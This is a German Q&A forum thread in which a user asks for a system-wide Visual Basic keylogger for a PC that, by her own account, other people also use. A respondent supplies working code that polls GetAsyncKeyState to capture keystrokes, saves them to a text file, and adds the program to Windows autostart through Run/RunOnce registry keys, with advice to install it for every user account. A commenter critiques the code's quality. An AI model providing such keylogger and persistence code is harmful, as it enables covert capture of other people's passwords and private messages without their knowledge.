Frage von spythegirl, 34

Visual Basic Keylogger für mein privat Pc?

Der Pc ist mir und würde gern sowas installieren das Systemweit funktioniert. Kann mir jemand ein Beispiel zum erstellen geben?

Gruss Spythegirl

Expertenantwort
von xLukas123, Community-Experte für Windows, 15

Moin,

für so etwas gibt es auch massenhaft Programme, die nicht nur als Keylogger dienen sondern auch einige andere Tätigkeiten aufzeichnen.

Um deine Frage zu beantworten, mit Visual Basic könntest Du auch einen einfachen Keylogger erstellen, der nur die Tastatureingaben aufzeichnet.

Erstelle dafür in deiner Form-Anwendung eine große Textbox mit folgenden Eigenschaften:

  • Multiline = True
  • ReadOnly = True

Dort werden dann später die Tastatureingaben angezeigt.

Des Weiteren benötigst Du einen Timer mit folgenden Eigenschaften:

  • Enabled = True
  • Interval = 2

Unter Public Class Form 1 deklarierst Du folgendes:

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Beim Timer fügst Du folgendes ein:

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

Solange das Programm dann läuft, werden die Tastatureingaben aufgezeichnet.

Gruß 
Lukas

Kommentar von xGlumi ,

So müssten aber alle eingaben ausschließlich klein oder groß (weiss ich grad net genau, hab grad nix zum compilen) angezeigt werden.

Außerdem, weisst du bei dieser Abfrage nicht welche Tasten gerade in Kombination gedrückt worden (Shift, STRG etc.)

Und anstatt einen textbox in der du die ganzen Eigenschaften ändern musst, kannst du auch einfach eine Richtextbox nehmen...

Also eher Suboptimal das ganze da, wenn du deinen Logger weiterschreiben willst diese Methode im späteren Verlauf komplett entfernen wirst.

MFG xGlumi

Kommentar von spythegirl ,

Hi schonmal danke für deine Antwort. Könntest du mir einen Code vorfertigen das der Keylogger alles in eine txt Datei reinschreibt? Gut wäre aus auch noch wenn du mir noch sagst wie ich das Teil Systemweit laufen lasse und es in den Autostart einbinde! Ich wiederhole mich nochmal für meinen eigenen PC der nur von mir selbst benutzt wird und manchmal andere Leute drangehen...

Kommentar von xLukas123 ,

Ich habe schon seit Jahren nichts mehr mit VB gemacht.

Textdatei erstellen:

Dim datei As System.IO.FileStream
datei = System.IO.File.Create("c:\textdatei.txt")
FileClose(datei)

Text in die Datei schreiben:

My.Computer.FileSystem.WriteAllText("c:\textdatei.txt", textbox1.text, True)

Autostart:
Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce")

Dim key As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.Users.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")

Was meinst Du mit systemweit? Für mehrere Benutzer? Wenn ja, dann packe das Programm doch auf jeden Benutzer und tue es überall in den Autostart.

Antwort
von heilwigkenner, 25

Lade dir doch einfach einen herunter.

Keine passende Antwort gefunden?

Fragen Sie die Community